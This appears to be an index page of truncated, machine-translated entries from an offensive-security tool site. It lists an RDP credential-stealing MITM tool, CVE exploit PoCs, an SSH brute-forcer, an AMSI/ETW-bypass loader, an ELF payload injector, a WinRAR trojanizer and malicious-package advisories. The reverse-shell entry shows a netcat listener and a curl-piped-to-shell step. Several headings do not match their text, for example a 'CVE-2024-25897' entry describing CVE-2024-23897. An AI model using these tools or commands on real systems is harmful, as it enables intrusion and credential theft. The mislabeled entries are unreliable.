pyrdp

PyRDP PyRDP 是一个使用 Python 编写的远程桌面协议 RDP 中间人 MITM 工具和库。 它包含以下几个工具： RDP 中间人攻击 记录连接时使用的明文凭据或 NetNTLM 哈希值 窃取复制到剪贴板的数据 保存通过网络传输的文件副本 后台爬取共享驱动器并将其本地保存 保存连接回放，以便日后查看 在新连接上自动运行控制台命令或 PowerShell 负载 RDP 播放器： 查看来自 MITM 的实时 RDP 连接 查看 RDP 连接回放 在隐藏操作的同时控制活跃的 RDP 会话 在活跃会话期间列出客户端映射的驱动器并从其中下载文件 转换工具： 将 RDP...

CVE-2024-25897

参数 ip、puerto、ruta exploit 的输出 帮助面板 exploit 说明 以下是代码的 Markdown 格式说明： 代码说明 此脚本旨在利用 Jenkins 中的特定漏洞（CVE-2024-23897）。它允许从 Jenkins 服务器下载 JAR 文件并执行 payload 以连接 Jenkins 节点。下面解释代码的每个部分： 模块导入 root@kitploit: import argparse import requests import os import subprocess import sys argparse：用于处理命令行参数。...

CVE-2025-8088

CVE-2025-8088 – WinRAR 漏洞利用 此仓库包含一个恶意RAR文件生成器 ，该生成器利用WinRAR中的CVE-2025-8088 漏洞，使得一个看似合法的文件在受害者解压时执行恶意负载。 推荐命令 root@kitploit: python3 exploit7.12.py \ -p payload.exe \ -o exploit.rar \ --username Ojo USUARIO VICTIMA \ --placeholder-len 200 \ --max-up 12 \ --verbose python exploitcli.py --help ⚠️ 警告...

drow

drow 描述 太长不看 drow 是一个命令行工具，用于注入代码并钩取 ELF 可执行文件（构建后）的入口点。它接收未经修改的 ELF 可执行文件作为输入，并输出一个包含用户提供的内嵌 payload 的修改版 ELF，该 payload 在运行时执行。 稍微详细一些…… Drow 执行以下步骤来创建新的修补版 ELF： 1. 映射未修改的目标 ELF 可执行文件和用户提供的 payload（一个位置无关的 blob） 2. 通过解析程序头定位第一个可执行段 3. 通过解析节头定位可执行段中的最后一个节 4. 将（段中的）最后一个节的节头 shsize 和程序头...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit 这是一个利用CVE-2017-11882的Metasploit模块，使用以下POC： https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. 安装 1. 将 cve201711882.rb 复制到 /usr/share/metasploit-framework/modules/exploits/windows/local/ 2. 将 cve-2017-11882.rtf 复制到...

CVE-2022-1388

CVE-2022-1388 针对影响F5 BIG-IP的CVE-2022-1388的PoC。 用法 root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list containing...

Beleth

Beleth 基于字典的SSH破解工具 root@kitploit: Usage: ./beleth OPTIONS -c payload Execute payload on remote server once logged in -h Display this help -l threads Limit threads to given number. Default: 4 -p port Specify remote port -P password Use single password attempt -t target Attempt connections to this...

reverse-shell

reverse-shell 反向Shell即服务 - https://reverse-shell.sh 一个易于记忆的反向Shell，适用于大多数类Unix系统。 它会检测目标上可用的软件，并运行合适的有效载荷。 用法 1. 监听连接 在你的机器上打开一个端口并监听。你可以使用netcat轻松完成。 root@kitploit: nc -l 1337 2. 在目标上执行反向Shell 在目标机器上，将 https://reverse-shell.sh/你IP:端口 的输出通过管道传给sh。 root@kitploit: curl...

NyxInvoke

NyxInvoke NyxInvoke 是一个基于 Rust 的多功能工具，旨在执行 .NET 程序集、PowerShell 命令/脚本、Beacon 对象文件（BOF）和 PE 文件，并内置 Ntdll 取消挂钩（Unhooking）、无补丁 AMSI 和 ETW 绕过功能。它可以编译为独立可执行文件或 DLL。 功能特性 执行 .NET 程序集 运行 PowerShell 命令或脚本 加载并执行 Beacon 对象文件（BOF） 加载并执行 PE 文件（EXE） 内置无补丁 AMSI（反恶意软件扫描接口）绕过 内置无补丁 ETW（Windows 事件跟踪）绕过 内置 NTDLL...

CVE-2025-48384

CVE-2025-48384 的 PoC 参见 CVE-2025-48384 运行方式： root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 示例输出： root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... don...

CVE-2017-9779

通过路径用户从Windows自动执行Payload :: 什么是Cmder？ Cmder是一个软件包，创建它的纯粹原因是Windows上缺乏好用的控制台模拟器。它基于优秀的软件，并加入了Monokai色彩方案和自定义提示布局，从一开始就看起来很性感。 Cmder网站框架！ http://cmder.net/ 什么是.bashrc 是可执行文件。您编写的任何单词都会直接显示在终端上。不幸的是，对于所有Linux系统，它都适用于所有它们。 Windows中的Users是什么？ 是用户基本文件后面的文件，适用于Windows的说明性图片。 | 视频...

Hwacha

Hwacha https://www.n00py.io/2017/12/raining-shells-on-linux-environments-with-hwacha/ Hwacha是一个用于在Nix系统中快速执行载荷的工具。轻松收集工件或在已获取凭据的整个子网系统上执行Shellcode。 root@kitploit: $python hwacha.py &&&& && && && &&&&&&&&&&&& && && && Created by Esteban Rodriguez /\ &&&&&& && &&&&&&&&&& && Web: https://www.n00py.i...

trojanizer

TROJANIZER root@kitploit: Version release : v1.1 Stable Author : pedro ubuntu r00t-3xp10it Codename: TroiaRevisited Distros Supported : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam develop @2017 FRAMEWORK DESCRIPTION root@kitploit: The Trojanizer tool uses WinRAR SFX to...

CVE-2021-40444--CABless

CVE-2021-40444--CABless version Actualización: Código modificado para que no necesitemos depender de archivos CAB. El archivo "index.html" que desencadena la ejecución del payload contendrá solo 1 línea de código, dentro de la etiqueta 'script': root@kitploit: new...

MAL-2026-16127 Malicious code in eth-account-web3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38b69dc345e5f7b75dbe6dccaf3dfc013a98e302176130aac064cbd8d042bae7 The distribution eth-account-web3 installs under the import name ethaccount, colliding with the legitimate ethereum/eth-account library. On import,...

horrors-log4shell

horrors-log4shell 一个用于 CVE-2021-44228 log4j 的微型实验室（演练场？） 可用于对多个目标执行载荷。 在运行时生成特定目标的载荷。 可调节的配置和绕过方法。 安装 Java相关要求 开发/运行示例 Gradle Maven 为了测试最近的log4j相关漏洞（CVE-2021-44228, CVE-2021-45046）： JDK 8u121 Ysoserial 编译后的 JAR https://github.com/frohoff/ysoserial 确保两边都有兼容的JDK。 Python 依赖 root@kitploit: % pip3...

EXPLOITER

EXPLOITER：CVE-2024-0044 自动化利用工具 EXPLOITER 是一款用于自动化利用 CVE-2024-0044 漏洞的精心设计工具。该脚本通过自动化有效载荷部署与 APK 安装，简化了针对存在漏洞的 Android 应用的利用过程。 概述 EXPLOITER 自动化了 CVE-2024-0044 漏洞的利用过程，在目标设备上安装恶意有效载荷并提取敏感数据。它具备自动 ADB 连接检查、APK 推送、UID 提取、有效载荷生成以及实时进度更新等功能，提供了流畅且专业的用户体验。 功能特性 自动 APK 安装 ：将 APK 文件推送并安装到目标设备。 有效载荷执行...

CVE-2017-11882-metasploit

CVE-2017-11882-metasploit Este es un módulo de Metasploit que explota CVE-2017-11882 utilizando el POC a continuación: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Instalación 1. Copia el archivo cve201711882.rb a...

MAL-2026-13301 Malicious code in dolyame-boxy-desktop-bnpl-card-gallery (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e20a9180ff2928b0498496b59c96983db044063b8db7c5e258b6518d5daf00a On require of this package, index.js loads bridge.js which downloads a platform-specific binary from hardcoded Cloudflare Workers hosts...

Malicious code in bigops-telephony-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98fd12faa59a5e65d0383cfb3be55ccd49beca5c74cb350b62f5717be83bcd65 On require of bigops-telephony-client, index.js loads./runtime.js, which unconditionally downloads a platform-specific binary over HTTPS from...